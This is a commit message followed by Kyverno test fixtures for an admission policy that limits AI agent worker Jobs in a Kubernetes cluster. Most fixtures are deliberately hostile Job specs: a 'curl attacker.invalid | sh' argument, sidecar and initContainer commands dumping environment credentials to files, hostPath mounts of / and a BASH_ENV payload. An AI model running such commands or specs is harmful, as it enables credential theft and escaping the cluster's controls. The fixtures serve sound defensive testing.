The registry had two blockers. #59 fixed the first (nodes resolved the hostname to the non-hairpinned WAN and failed TLS against the router's CN=%D cert). This is the second: the pull is unauthenticated, and this registry refuses unauthenticated clients outright — measured 2026-10-05, its anonymous token carries access: null and every path 401s. pm-agent-registry is a dockerconfigjson Secret (SOPS, placeholders) referenced by imagePullSecrets on the dispatcher Deployment and on the committed worker Job template. It holds the SAME Gitea token as pm-agent-credentials, because the two consumers need two formats: the application reads a raw token from env, the kubelet reads a dockerconfigjson before any container starts. Same one-value-in-two-files pattern as the Keycloak client secret, documented in both .example files. The operator's part is the value plus one new scope: read:package. ADMISSION GAINED A SEVENTH RULE. imagePullSecrets is a pod-spec field no container references, which is exactly why it is easy to leave unread — the same shape of omission as initContainers, ephemeralContainers, env and envFrom before it. The kubelet reads the named Secret, in this namespace, before anything runs. Rule 1's pattern now REQUIRES the committed entry; rule 7 forbids any other and any second one. Both halves are needed: a foreach over an absent list yields no result. The leverage is small and the policy says so: the image is digest-pinned, so a different pull credential cannot change WHAT runs. Pinned anyway — 'only the committed shape' is the premise, and the rule costs four lines. kyverno test: 33 passed, 0 failed (was 28). Three new fixtures, each a real path: the committed entry plus a second one, a different Secret, and none at all. The gate also caught me shipping the Secret in plaintext — I never ran sops -e -i on the placeholder. Recorded in the handoff entry, because the file looked finished. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
571 lines
20 KiB
YAML
571 lines
20 KiB
YAML
# =============================================================================
|
|
# Fixtures for platform/kyverno/admission/pm-agent-job-shape.yaml.
|
|
#
|
|
# Every DENY case below is a real escalation path, not a style violation. The one that
|
|
# matters most is `evil-command`: correct namespace, correct creator, arbitrary command.
|
|
# That is the attack the whole model exists to stop, and RBAC cannot — Kubernetes places no
|
|
# `use` check on serviceAccountName, so "can create Jobs in this namespace" IS "can run
|
|
# arbitrary code here" without this policy.
|
|
#
|
|
# `real-template` is infra/agent/worker-job-template.yaml as the dispatcher renders it, and
|
|
# it exists so that a template which drifts OUT of admission fails `make -C ci l0` rather
|
|
# than failing at 3am against the live API server. IT IS A HAND-MAINTAINED COPY: `kyverno
|
|
# test` resolves resource paths inside the directory ci/l0.sh copies platform/kyverno/ into,
|
|
# so it cannot reference the template in infra/ directly. Keep the admission-relevant fields
|
|
# — image, serviceAccountName, automountServiceAccountToken, restartPolicy, command, args,
|
|
# env NAMES, volumes, securityContext — in step with that file. (`PM_SELFTEST=1 pm-dispatch`
|
|
# checks the template against the dispatcher's own copy of the env allowlist, so the two
|
|
# allowlists are pinned together even though this fixture is manual.)
|
|
# =============================================================================
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: real-template
|
|
namespace: pm-agent
|
|
spec:
|
|
backoffLimit: 0
|
|
activeDeadlineSeconds: 5400
|
|
ttlSecondsAfterFinished: 172800
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
imagePullSecrets:
|
|
- name: pm-agent-registry
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 65532
|
|
runAsGroup: 65532
|
|
fsGroup: 65532
|
|
seccompProfile:
|
|
type: RuntimeDefault
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
privileged: false
|
|
capabilities:
|
|
drop: [ALL]
|
|
env:
|
|
- { name: PM_TASK_MODE, value: implement }
|
|
- { name: PM_ISSUE_NUMBER, value: "42" }
|
|
- { name: PM_ISSUE_TITLE, value: "Pi-hole adlists are not declared in git" }
|
|
- { name: PM_BRANCH, value: fix/pihole-declare-adlists }
|
|
- { name: PM_BASE_BRANCH, value: main }
|
|
- { name: PM_BRIEF, value: "Declare the adlists. They are DB rows today." }
|
|
- { name: PM_GITEA_URL, value: http://gitea.gitea.svc.cluster.local:3000 }
|
|
- { name: PM_GITEA_OWNER, value: Home-Network }
|
|
- { name: PM_GITEA_REPO, value: home-network-k3s-impl }
|
|
- { name: PM_GITEA_USER, value: pm-agent }
|
|
- { name: PM_MODEL, value: claude-opus-5 }
|
|
- { name: PM_MAX_TURNS, value: "80" }
|
|
- { name: PM_MAX_BUDGET_USD, value: "10" }
|
|
- { name: PM_PUSH_ON_RED_GATE, value: "false" }
|
|
# BY SECRET NAME ONLY (R-IDP-04) — and as env, not as a volume, because
|
|
# `workspace` and `tmp` are the only two volume names admission allows.
|
|
- name: GITEA_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: pm-agent-credentials, key: gitea-token }
|
|
- name: CLAUDE_CODE_OAUTH_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: pm-agent-credentials, key: claude-code-oauth-token }
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
- { name: tmp, mountPath: /tmp }
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: { sizeLimit: 4Gi }
|
|
- name: tmp
|
|
emptyDir: { sizeLimit: 1Gi }
|
|
---
|
|
# The MINIMAL admissible shape: everything the policy requires and nothing else. Kept
|
|
# alongside `real-template` so a failure tells you whether the policy got stricter or the
|
|
# template drifted.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: good-run
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
imagePullSecrets:
|
|
- name: pm-agent-registry
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# ===================== THE escalation: correct everything, arbitrary command ============
|
|
# This is the case the policy exists for. If it ever passes, the boundary is gone.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-command
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/bin/sh", "-c", "git push origin HEAD:main"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# A different image entirely — the pinned command means nothing if the thing at that path is
|
|
# somebody else's.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-image
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: docker.io/library/alpine@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A TAG, not a digest. The right repository path, so a name-only check would admit it — and
|
|
# whoever can move the tag then chooses what runs.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: tag-not-digest
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner:latest
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# Running as the DISPATCHER's own identity, which can create Jobs — i.e. a worker that can
|
|
# fork itself without limit, and bypass the per-cycle and concurrency caps entirely.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: worker-as-dispatcher-sa
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A projected ServiceAccount token, which is the credential the worker is specifically not
|
|
# supposed to hold. Everything else is compliant.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: token-mounted
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: true
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A writable root filesystem. Not cosmetic: the entrypoints and the baked Job template live
|
|
# on that filesystem, root-owned and non-writable — which only holds while it is read-only.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: writable-rootfs
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: false
|
|
---
|
|
# Host namespaces: the pod would see every process and every socket on the node.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: host-namespaces
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
hostNetwork: true
|
|
hostPID: true
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# restartPolicy OnFailure: the Job controller would re-run an assignment whose side effects
|
|
# (a pushed branch, a pull request, an issue comment) are not idempotent.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: restart-onfailure
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: OnFailure
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# ARGS on the pinned command — the injection point a pinned `command` moves the problem to.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-args
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
args: ["--then", "curl attacker.invalid | sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A SECOND container, sharing the pod's network namespace and both credential env vars,
|
|
# while containers[0] is perfectly compliant. A Kyverno array pattern is satisfied by one
|
|
# matching element, which is exactly why the container COUNT is asserted separately.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: second-container
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
- name: sidecar
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh", "-c", "env > /workspace/stolen; sleep 3600"]
|
|
---
|
|
# AN EXTRA VOLUME — how a constrained pod reaches a host path. containers[0] is compliant.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: extra-volume
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: host
|
|
hostPath: { path: / }
|
|
---
|
|
# AN ALLOWED NAME WITH A HOSTPATH SOURCE — the case a name-only volume check admits. This is
|
|
# why rule 3 asserts `emptyDir` as well as the name.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: hostpath-named-workspace
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
volumes:
|
|
- name: workspace
|
|
hostPath: { path: /var/lib/kubelet }
|
|
---
|
|
# THE SAME ESCALATION VIA `initContainers`, which every rule that reads `containers` misses.
|
|
# Measured on the sibling policy before its equivalent rule existed: a Job exactly like this
|
|
# was ADMITTED (pass 3, fail 0).
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-initcontainer
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
initContainers:
|
|
- name: setup
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh", "-c", "cat /proc/self/environ > /workspace/stolen"]
|
|
securityContext:
|
|
privileged: true
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# ...and via the third container list nobody reads.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-ephemeral-container
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
ephemeralContainers:
|
|
- name: debug
|
|
image: docker.io/library/alpine:latest
|
|
command: ["/bin/sh"]
|
|
---
|
|
# ...and via `env`, the same mistake a third time. BASH_ENV is sourced by bash before a
|
|
# non-interactive script, so it alone is arbitrary code execution under the pinned command;
|
|
# ANTHROPIC_API_KEY silently outranks the subscription token and redirects every model call.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-env
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
env:
|
|
- { name: PM_TASK_MODE, value: implement }
|
|
- { name: BASH_ENV, value: /workspace/payload.sh }
|
|
- { name: ANTHROPIC_API_KEY, value: sk-not-the-subscription-token }
|
|
---
|
|
# `envFrom` over a whole Secret: the KEYS never appear in the Job, so the env-name allowlist
|
|
# would be unenforceable by inspection.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: envfrom-whole-secret
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
envFrom:
|
|
- secretRef: { name: pm-agent-credentials }
|
|
---
|
|
# A SECOND pull secret beside the committed one. containers[0] is perfectly compliant, and
|
|
# rule 1's array pattern is satisfied by the first element — which is why the count is
|
|
# asserted separately.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: extra-pull-secret
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
imagePullSecrets:
|
|
- name: pm-agent-registry
|
|
- name: pm-agent-credentials
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# A DIFFERENT pull secret — the kubelet would read a Secret the worker was never meant to
|
|
# touch, before any container starts.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: wrong-pull-secret
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
imagePullSecrets:
|
|
- name: pm-agent-credentials
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
---
|
|
# NO pull secret at all. Rule 7's foreach yields nothing over an absent list, so this is
|
|
# rule 1's pattern to refuse — which is why the requirement lives in both.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: no-pull-secret
|
|
namespace: pm-agent
|
|
spec:
|
|
template:
|
|
spec:
|
|
restartPolicy: Never
|
|
automountServiceAccountToken: false
|
|
serviceAccountName: pm-agent-worker
|
|
containers:
|
|
- name: worker
|
|
image: gitea.home.keithjackson.dev/home-network/agent-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/usr/local/bin/pm-worker"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|